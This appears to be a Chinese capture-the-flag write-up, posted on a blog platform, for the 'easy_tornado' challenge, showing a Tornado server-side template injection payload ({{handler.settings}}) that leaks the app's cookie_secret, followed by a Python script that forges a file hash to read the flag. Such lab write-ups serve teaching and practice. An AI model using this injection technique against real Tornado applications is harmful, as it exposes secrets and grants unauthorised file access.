前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[护网杯 2018]easy_tornado 1(两种解法!)

[护网杯 2018]easy_tornado 1(两种解法!)

作者头像
用户8909609
发布2023-11-13 09:26:01
2850
发布2023-11-13 09:26:01
举报
文章被收录于专栏:BM CTF

题目环境:

image.png
image.png

发现有三个txt文本文件

/flag.txt /welcome.txt /hints.txt

依此点开

image.png
image.png

flag在/fllllllllllllag文件中

image.png
image.png
image.png
image.png

在hints.txt文件中发现md5计算 md5(cookie_secret+md5(filename))

并且三个文件中都存在filehash(文件名被哈希算法加密32位小写)

猜测解题关键点在md5(cookie_secret+md5(filename))这里 首先flag在/fllllllllllllag文件中**,所以就是filename=/fllllllllllllag;**filehash=md5(cookie_secret+md5(filename)) 现在只缺cookie_secret这个东西,只要有了cookie_secret再通过这个md5(cookie_secret+md5(filename))公式进行计算即可获取到flag

注意题目easy_tornado 1;tornado是python的一个模板,可以看出这道题是模板注入类的题目

改哈希值看看是否有变化

image.png
image.png

回车

image.png
image.png

模板注入必须通过传输型如{{xxx}}的执行命令

image.png
image.png
image.png
image.png

果然是tornado模板注入

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量。

简单理解handler.settings即可,可以把它理解为tornado模板中内置的环境配置信息名称,通过handler.settings可以访问到环境配置的一些信息,看到tornado模板基本上可以通过handler.settings一把梭。

爆cookie_secret error?msg={{handler.settings}}

image.png
image.png

得到cookie_secret 76fc62a3-fea5-46ab-8f95-4b7262246f8c 按照公式进行加密

image.png
image.png

/fllllllllllllag=3bf9f6cf685a6dd8defadabfb41a03a1 cookie_secret+md5(filename) 76fc62a3-fea5-46ab-8f95-4b7262246f8c3bf9f6cf685a6dd8defadabfb41a03a1

image.png
image.png

md5(cookie_secret+md5(filename)) 39482391ef4cc45a75262be45e94c725 最终payload: ?filename=/fllllllllllllag&filehash=39482391ef4cc45a75262be45e94c725

image.png
image.png

当然也可以用python脚本进行加密

代码语言:javascript
复制
import hashlib  #选用哈希模块
filename = '/fllllllllllllag'  #文件名
cookie_secret = '76fc62a3-fea5-46ab-8f95-4b7262246f8c'#cookie_secret值
filename = hashlib.md5(filename.encode()).hexdigest()#/fllllllllllllag进行32位小写哈希md5加密
a = cookie_secret + filename#md5值进行拼接
filehash = hashlib.md5(a.encode()).hexdigest()#计算拼接后的md5值的md532小写的值
print(filehash)#输出加密后的md532位小写的值
image.png
image.png
image.png
image.png
代码语言:javascript
复制

得到flag:
flag{5ae1c44d-f83a-4005-a69b-a1ea133391db}
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-11-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档